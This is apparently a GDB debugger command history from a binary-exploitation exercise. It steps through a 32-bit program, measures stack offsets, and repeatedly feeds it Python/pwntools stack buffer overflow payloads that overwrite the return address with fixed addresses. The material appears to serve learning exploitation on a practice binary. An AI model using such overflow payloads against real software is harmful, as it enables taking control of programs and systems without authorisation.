37 lines
720 B
Plaintext
37 lines
720 B
Plaintext
start
|
|
si
|
|
ni
|
|
ni
|
|
ni
|
|
r < <(python -c 'print "A"*(0x1c+4)+"\xcb\x84\x04\x08"')
|
|
b*0x0804864d
|
|
r < <(python -c 'from pwn import *;print "A"*20 + p32(0x080485f9)')
|
|
ni
|
|
r < <(python -c 'from pwn import *;print "A"*20 + p32(0x080485f9)')
|
|
ni
|
|
r
|
|
telescope 0xffffcaa0
|
|
telescope 0xffffcaa0 40
|
|
ni
|
|
telescope 0xffffcaa0 40
|
|
p/d 0x1c
|
|
p/d 0x20
|
|
r
|
|
p 0xffffcad8-0xffffcaa0
|
|
r < <(python -c 'from pwn import *;print "A"*0x38 + p32(0x080485f9)')
|
|
ni
|
|
r < <(python -c 'from pwn import *;print "A"*20 + p32(0x080485f9)')
|
|
ni
|
|
r < <(python -c 'from pwn import *;print "A"*0x38 + p32(0x080485f9)')
|
|
ni
|
|
r
|
|
ni
|
|
x 0xffffcabc
|
|
telescope 0xffffcabc
|
|
r < <(python -c 'from pwn import *;print "A"*0x20 + p32(0x080485f9)')
|
|
p 0xffffcad8-0xffffcabc
|
|
ni
|
|
x 0xffffcad8
|
|
ni
|
|
c
|